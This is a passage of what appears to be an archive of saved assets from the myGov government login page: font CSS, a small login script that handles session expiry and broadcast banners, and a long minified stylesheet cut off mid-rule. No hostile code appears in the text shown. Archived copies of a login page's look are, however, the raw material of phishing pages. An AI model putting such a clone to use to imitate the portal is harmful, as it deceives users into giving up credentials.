format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } mygov/app/login_files/login.js.download000064400000003030151676702570014247 0ustar00setTimeout(function(){window.location="/mygov/content/html/session-expired.html";},1740000);function priorityLookup(levelName){switch(levelName){case"high":return 1;case"medium":return 2;case"low":return 3;default:return 4;}}function compareDates(firstDate,secondDate){firstDate=new Date(firstDate);secondDate=new Date(secondDate);return firstDatepriorityLookup(secondEntry.priority)?1:-1;});return sortedAlerts[0];}function getTopBroadcast(entries){var sortedBroadcasts=entries.sort(function(firstEntry,secondEntry){return compareDates(firstEntry.modified,secondEntry.modified);});return sortedBroadcasts[0];}function displayBroadcast(alert){if(alert&&alert.body){$(".emergency-text").html(alert.body);$(".emergency-text").find("a").attr("target","_blank");$(".emergency-information").css({height:"auto",padding:"17px 5px"});}}$(document).ready(function(){var url=$("#govcms-endpoint").val();var clientId=$("#govcms-client-id").val();var apiVersion=$("#govcms-api-version").val();if(url&&clientId&&apiVersion){fetch(url,{headers:{"x-caas-client-id":clientId,"x-caas-version":apiVersion,"Cache-Control":"no-cache"}}).then(function(resp){return resp.json();}).then(function(data){if(data&&data.broadcasts){displayBroadcast(getTopBroadcast(data.broadcasts));}});}});mygov/app/login_files/mgv2-application.css000064400000364774151676702570014712 0ustar00.pathway-link-item:focus,.alert-link .alert-link-arrow:focus,.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active,.button-main-mapwap:focus,.button-main-mapwap:active,.anchor:focus,.button-back:focus,.button-close:focus,form [type='radio']:focus+label,form [type='checkbox']:focus+label,button:focus,input:focus,optgroup:focus,select:focus,textarea:focus,.chosen-container:focus,.chosen-select:focus,body a:focus,body .non-transition-link:focus,footer[role='contentinfo'] a:focus,footer[role='contentinfo'] .non-transition-link:focus,.link-arrow:focus,.menu-hitbox:focus,.outage .expand:focus{outline:3px solid #666;outline-offset:2px}.pathway-link-item:focus,.alert-link .alert-link-arrow:focus{outline-offset:-1px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}html{box-sizing:border-box}*,*::after,*::before{box-sizing:inherit}[type='checkbox']+label[for="same-as-residential"]{display:block;margin-top:30px}.raet-container{display:block;position:relative;width:auto;width:100%;line-height:1.3em}.raet-line{overflow:visible;width:100%;margin:.75em 0 0;box-sizing:border-box;-webkit-transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;height:auto;opacity:1}.raet-line:first-child{margin-top:0}.raet-line:focus{color:blue}.raet-message-success{color:#009b27;background-color:#effbf2;border:1px solid #009b27}.raet-message-fail{color:#bd6400;background-color:#ffffef;border:1px solid #bd6400}.raet-button{display:inline-block;font-size:1em;display:none;cursor:pointer;margin:0 3px;color:#007373;background:#e4efef;border:1px solid #007373}.raet-button:hover{color:black;background:#e2e2e2;border-color:black}.raet-container .raet-singleLine-input{width:100%}.raet-inlineWrapper{position:relative;display:inline-block;margin-bottom:6px!important;max-width:42em}.raet-inlineWrapper>input{box-sizing:border-box}.raet-dropDown{position:absolute;font-size:1em;display:none;left:0;right:0;z-index:1;max-height:425px;overflow:auto;list-style:none;margin:0;padding:0;background:white;border:1px solid grey;box-sizing:border-box;width:100%}.raet-dropDown li{cursor:pointer;padding:.9em .5em .3em;color:#555;min-height:1em}.raet-dropDown .additionalInfo{font-size:.9em;padding-left:1em;line-height:1.75em;text-transform:uppercase}.raet-dropDown strong{color:black}.raet-dropDown li:hover{background-color:#f5f5f5}.raet-dropDown .selected{background-color:#eee}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.raet-spinner{pointer-events:none;display:block;position:absolute;top:0;right:0;border-radius:10px;border:3px solid #aaa;background:white;border-left-color:white;border-right-color:white;margin:3px;opacity:0;-webkit-transition:200ms linear opacity;transition:200ms linear opacity;-webkit-animation:rotate .9s linear infinite;animation:rotate .9s linear infinite}input::-ms-clear{width:0;height:0}.raet-aria-status{border:0 none;clip:rect(0,0,0,0);height:1px;width:1px;margin:-1px;overflow:hidden;padding:0;position:absolute}.raet-inputWrapper>input{width:100%;box-sizing:border-box}.raet-container input,.raet-container select{border:1px solid #969696}#raetDiv-home>div:nth-child(2){display:none}#raetDiv-postal>div:nth-child(2){display:none}/*! Chosen, a Select Box Enhancer for jQuery and Prototype by Patrick Filler for Harvest, http://getharvest.com Version 1.6.2 Full source at https://github.com/harvesthq/chosen Copyright (c) 2011-2016 Harvest http://getharvest.com MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md This file is generated by `grunt build`, do not edit it by hand. */.chosen-container{position:relative;display:block;vertical-align:middle;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;left:-9999px;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff}.chosen-container.chosen-with-drop .chosen-drop{left:0}.chosen-container a{cursor:pointer}.chosen-container .search-choice .group-name,.chosen-container .chosen-single .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:normal;color:#999}.chosen-container .search-choice .group-name:after,.chosen-container .chosen-single .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:.7em;border:1px solid #999;background-color:#fff;background-clip:padding-box;text-decoration:none;white-space:nowrap;line-height:1.15;margin-top:.4em}.chosen-container-single .chosen-single:hover{color:#333}.chosen-container-single .chosen-default{color:#333}.chosen-container-single .chosen-single span{display:block;overflow:hidden;margin-right:26px;white-space:nowrap;color:#333}.chosen-container-single .chosen-single-with-deselect span{margin-right:38px}.chosen-container-single .chosen-single abbr{position:absolute;top:40%;right:26px;display:block;width:12px;height:12px;background:url("../icons/chosen-sprite.png") -42px 1px no-repeat;font-size:1px;color:#333}.chosen-container-single .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single.chosen-disabled .chosen-single abbr:hover{background-position:-42px -10px}.chosen-container-single .chosen-single div{position:absolute;top:25%;right:0;display:block;width:18px;height:100%}.chosen-container-single .chosen-single div b{display:block;width:100%;height:100%;background:url("../icons/chosen-sprite.png") no-repeat 0 2px;color:#333}.chosen-container-single .chosen-search{position:relative;z-index:1010;margin:0;padding:3px 4px;white-space:nowrap}.chosen-container-single .chosen-search input[type="text"]{margin:1px 0;padding:4px 20px 4px 5px;width:100%;height:auto;outline:0;border:1px solid #aaa;background:white url("../icons/chosen-sprite.png") no-repeat 100% -20px;background:url("../icons/chosen-sprite.png") no-repeat 100% -20px;font-size:1rem;font-family:sans-serif;line-height:normal;border-radius:0}.chosen-container-single .chosen-drop{margin-top:-1px;border-radius:0 0 4px 4px;background-clip:padding-box}.chosen-container-single.chosen-container-single-nosearch .chosen-search{position:absolute;left:-9999px}.chosen-container .chosen-results{color:#444;position:relative;overflow-x:hidden;overflow-y:auto;margin:0 4px 4px 0;padding:0 0 0 4px;max-height:240px;-webkit-overflow-scrolling:touch}.chosen-container .chosen-results li{display:none;margin:0;padding:5px 6px;list-style:none;line-height:15px;word-wrap:break-word;-webkit-touch-callout:none}.chosen-container .chosen-results li.active-result{display:list-item;cursor:pointer}.chosen-container .chosen-results li.disabled-result{display:list-item;color:#ccc;cursor:default}.chosen-container .chosen-results li.highlighted{background-color:#0f6493;color:#fff}.chosen-container .chosen-results li.no-results{color:#777;display:list-item;background:#f4f4f4}.chosen-container .chosen-results li.group-result{display:list-item;font-weight:bold;cursor:default}.chosen-container .chosen-results li.group-option{padding-left:15px}.chosen-container .chosen-results li em{font-style:normal;text-decoration:underline}.chosen-container-active.chosen-with-drop .chosen-single{border:1px solid #aaa;border-bottom-right-radius:0;border-bottom-left-radius:0}.chosen-container-active.chosen-with-drop .chosen-single div{border-left:none;background:transparent}.chosen-container-active.chosen-with-drop .chosen-single div b{background-position:-18px 2px}.chosen-container-active .chosen-choices{border:1px solid #5897fb}.chosen-container-active .chosen-choices li.search-field input[type="text"]{color:#222!important}.chosen-disabled{opacity:.5!important;cursor:default}.chosen-disabled .chosen-single{cursor:default}.chosen-disabled .chosen-choices .search-choice .search-choice-close{cursor:default}.chosen-rtl{text-align:right}.chosen-rtl .chosen-single{overflow:visible;padding:0 8px 0 0}.chosen-rtl .chosen-single span{margin-right:0;margin-left:26px;direction:rtl}.chosen-rtl .chosen-single-with-deselect span{margin-left:38px}.chosen-rtl .chosen-single div{right:auto;left:3px}.chosen-rtl .chosen-single abbr{right:auto;left:26px}.chosen-rtl .chosen-choices li{float:right}.chosen-rtl .chosen-choices li.search-field input[type="text"]{direction:rtl}.chosen-rtl .chosen-choices li.search-choice{margin:3px 5px 3px 0;padding:3px 5px 3px 19px}.chosen-rtl .chosen-choices li.search-choice .search-choice-close{right:auto;left:4px}.chosen-rtl.chosen-container-single-nosearch .chosen-search,.chosen-rtl .chosen-drop{left:9999px}.chosen-rtl.chosen-container-single .chosen-results{margin:0 0 4px 4px;padding:0 4px 0 0}.chosen-rtl .chosen-results li.group-option{padding-right:15px;padding-left:0}.chosen-rtl.chosen-container-active.chosen-with-drop .chosen-single div{border-right:0}.chosen-rtl .chosen-search input[type="text"]{padding:4px 5px 4px 20px;background:white url("../icons/chosen-sprite.png") no-repeat -30px -20px;background:url("../icons/chosen-sprite.png") no-repeat -30px -20px;direction:rtl}.chosen-rtl.chosen-container-single .chosen-single div b{background-position:6px 2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-rtl .chosen-search input[type="text"],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-container-single .chosen-search input[type="text"],.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span{background-image:url("../icons/chosen-sprite@2x.png")!important;background-size:52px 37px!important;background-repeat:no-repeat!important}}.pincode-input-container{display:inline-block}.pincode-input-container input.first{border-top-right-radius:0;border-bottom-right-radius:0}.pincode-input-container input.last{border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:34px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:20px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:120px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}html{color:#333;line-height:1.6;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:400}body{font-size:1.125rem}h1,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title,h4{line-height:1.4;font-weight:400;margin-bottom:.4em}h1{font-size:1.75rem;font-weight:700;margin-bottom:0}h1:first-of-type{margin-top:1.5rem}h2,.display{font-size:1.375rem;line-height:1.2;margin-bottom:.5em}h2:first-of-type,.display:first-of-type{margin-top:1.2em}h2.bold,.bold.display{font-weight:700}h2.bold:nth-of-type(2n),.bold.display:nth-of-type(2n){margin-top:2em}h3,#poro-form #modal-title,.poro-form #modal-title{font-size:1.125rem;font-weight:700;margin-bottom:.8em}h4,h5,h6{font-size:1rem;font-weight:700}@media screen and (min-width:992px){.content-main h1,.content-main h2,.content-main .display,.content-main h3,.content-main #poro-form #modal-title,#poro-form .content-main #modal-title,.content-main .poro-form #modal-title,.poro-form .content-main #modal-title,.content-main h4,.content-main h5,.content-main p,.content-main li,.content-main dl{max-width:38rem}.content-main .content-full-width{max-width:none;width:100%}}strong{font-weight:700}strong.very-bold{font-weight:700}hr{border:1px solid #999;border-bottom:0;margin-bottom:0}ul,ol{padding-left:2.4em}ul ul,ol ul{list-style-type:disc}ul,ol,dl,p,dt,dd{margin-bottom:1rem;line-height:1.6em}li{margin-bottom:.53333em}li ul,li ol{margin-bottom:0}ul.no-bullets{list-style-type:none;margin:0;padding-left:1.2em}dt{display:inline-block;font-weight:700}dt:first-of-type{margin-top:0}.callout,.callout--warning{margin:1.6em .8em;padding:1.2em 1.2em 1.2em 1.6em;border-radius:1px;box-shadow:0 0 8px #ccc}.callout--warning{border-left:.4em solid #b7202d;padding-left:1.2em}.badge--default{display:inline-block;background-color:#999;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--error{display:inline-block;background-color:#b7202d;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--success{display:inline-block;background-color:#026540;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:#e7fff6;font-size:.875rem}article h1:first-of-type{margin-top:0}.is-visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;background-color:#fff!important;color:#333!important}.visiblity-hidden{visibility:hidden}.hidden{display:none}.ua-notification{display:block;padding:.8em;text-align:center;background-color:#f80;color:#333;font-size:1.0625rem;margin-bottom:0}@media print{*,*::before,*::after,*::first-letter ,*::first-line {background:transparent;color:#333;box-shadow:none;text-shadow:none}a,a:visited{text-decoration:underline}a[href]::after{content:" (" attr(href) ")"}abbr[title]::after{content:" (" attr(title) ")"}a[href^='#']::after,a[href^='javascript:']::after{content:''}pre,blockquote{border:1px solid #ccc;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%}p,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{orphans:3;widows:3}h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{page-break-after:avoid}}html{height:100%;min-width:300px}body{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;height:100%}body>header,body>footer{-webkit-box-flex:0;-webkit-flex:none;-ms-flex:none;flex:none}body>.wrapper,.wrapper-mapwap,.wrapper-integration,.wrapper-integration-mapwap{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:100%;display:inline-block}body>.wrapper::after,.wrapper-mapwap::after,.wrapper-integration::after,.wrapper-integration-mapwap::after{content:'\00a0';height:0;visibility:hidden}@media screen and (min-width:992px){.main-block{max-width:900px;margin-left:auto;margin-right:auto}.main-block::after{clear:both;content:"";display:block}}.wrapper{padding:0 1em}@media screen and (min-width:576px){.wrapper{padding:0 2em}}.wrapper-mapwap{padding:0 1em}.wrapper-mapwap .main-block{max-width:400px;margin-left:auto;margin-right:auto}.wrapper-mapwap .main-block .pin-fields2{text-align:center}.wrapper-mapwap .main-block .pin-fields3{text-align:center}@media screen and (min-width:576px){.wrapper-mapwap .main-block{padding:0 2em;max-width:600px}}.uikit-skip-link{display:block}header[role='banner']{background-color:#026540;border-bottom:4px solid #026540;min-height:80px}header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{position:relative}@media screen and (min-width:992px){header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}header[role='banner'] .inner::after,header[role='banner'] .unauth .product-description .digital-id-inner::after,.unauth .product-description header[role='banner'] .digital-id-inner::after{clear:both;content:"";display:block}}header[role='banner'] .header-logo{display:inline-block;position:absolute;left:0;right:10%;margin-right:1em;margin:0 auto;width:90px;top:31px}@media screen and (min-width:576px){header[role='banner'] .header-logo{width:112px;right:0}}@media screen and (min-width:768px){header[role='banner'] .header-logo{width:135px}}@media screen and (min-width:768px){header[role='banner'] .header-logo{left:0;float:left;position:relative;top:22px}}header[role='banner'] .header-logo a{display:inline-block;border-bottom:0;height:35px;width:100%}@media screen and (min-width:768px){header[role='banner'] .header-logo a{height:40px}}header[role='banner'] .header-logo a:hover,header[role='banner'] .header-logo a:active{background:0}header[role='banner'] .header-logo a span{color:#fff}header[role='banner'] .header-logo a .govFont{color:#d7ea6a}header[role='banner'] .header-logo a:focus{outline:0;outline:3px solid #fff;outline-offset:2px;background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}header[role='banner'] .header-logout{background-color:#026540;color:#fff;font-size:1rem;line-height:1.4;padding:11px;position:absolute;right:0;text-decoration:none;top:16px;margin:1px;width:5.5em;height:auto;-webkit-appearance:button;-moz-appearance:button;-o-appearance:button;-ms-appearance:button;appearance:button}header[role='banner'] .header-logout:before{margin-left:1em}header[role='banner'] .header-logout:after{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:44px;border:2px solid #fff}header[role='banner'] .header-logout:hover,header[role='banner'] .header-logout:focus{border:2px solid;text-decoration:underline;background:0}header[role='banner'] .header-logout:focus{outline:3px solid #fff;background-color:#01462c}header[role='banner'] .header-logout:hover{border-color:#fff}header[role='banner'] .header-logout:active{-webkit-transition:background-color .05s;transition:background-color .05s;outline:0}header #close{float:right;width:36px}@media screen and (min-width:576px){header #close{width:40px}}header #agency-header-logo{float:left;width:160px}@media screen and (min-width:576px){header #agency-header-logo{width:200px}}.authAppHeader{background-color:#026540;height:64px}.authAppHeader .header-img{color:white}.codeGenHeader{background-color:#026540;height:64px}.codeGenHeader .header-img{color:white}.exchangeHeader{background-color:#026540}.exchangeHeader .header-img{color:white}.clkWapHeader{background-color:black;height:64px}@media screen and (min-width:576px){.clkWapHeader{height:80px}}.clkWapHeader .header-img{color:white}.clkMapHeader{background-color:#4c6b9d;height:64px}@media screen and (min-width:576px){.clkMapHeader{height:80px}}.clkMapHeader .header-img{color:white}.csaHeader{background-color:#6b2482;height:64px}@media screen and (min-width:576px){.csaHeader{height:80px}}.csaHeader .header-img{color:white}.dvaHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.dvaHeader{height:80px}}.dvaHeader .header-img{color:black}.dhhsHeader{background-color:#eee;height:105px}.dhhsHeader .header-img{color:black}@media screen and (min-width:576px){.dhhsHeader{height:120px}}.ehrHeader{background-color:#eee;height:100px}@media screen and (min-width:576px){.ehrHeader{height:120px}}.ehrHeader #agency-header-logo{width:280px}.ehrHeader .header-img{color:black}.jobsHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.jobsHeader{height:80px}}.jobsHeader .header-img{color:black}.mcaHeader{background-color:#018643;height:64px}@media screen and (min-width:576px){.mcaHeader{height:80px}}.mcaHeader .header-img{color:white}.redrHeader{background-color:#eee;height:90px}.redrHeader .header-img{color:black}@media screen and (min-width:576px){.redrHeader{height:100px}}.ndisHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.ndisHeader{height:80px}}.ndisHeader .header-img{color:black}.vicsroHeader{background-color:#eee;height:90px}.vicsroHeader .header-img{color:black}.vicsroHeader #agency-header-logo{width:90px}@media screen and (min-width:576px){.vicsroHeader{height:130px}.vicsroHeader #agency-header-logo{width:150px}}.exchangeHeader{height:64px}.exchangeHeader #agency-header-logo{width:220px}@media screen and (min-width:576px){.exchangeHeader{height:80px}.exchangeHeader #agency-header-logo{width:400px}}.mcaHeader .unauth-grid,.ndisHeader .unauth-grid,.dhhsHeader .unauth-grid,.dvaHeader .unauth-grid,.redrHeader .unauth-grid,.clkWapHeader .unauth-grid,.clkMapHeader .unauth-grid,.authAppHeader .unauth-grid,.codeGenHeader .unauth-grid,.jobsHeader .unauth-grid,.ehrHeader .unauth-grid,.vicsroHeader .unauth-grid,.exchangeHeader .unauth-grid,.csaHeader .unauth-grid{margin-top:1em}.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{position:relative}@media screen and (min-width:992px){.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}.mcaHeader .inner::after,.mcaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .mcaHeader .digital-id-inner::after,.ndisHeader .inner::after,.ndisHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ndisHeader .digital-id-inner::after,.dhhsHeader .inner::after,.dhhsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dhhsHeader .digital-id-inner::after,.dvaHeader .inner::after,.dvaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dvaHeader .digital-id-inner::after,.redrHeader .inner::after,.redrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .redrHeader .digital-id-inner::after,.clkWapHeader .inner::after,.clkWapHeader .unauth .product-description 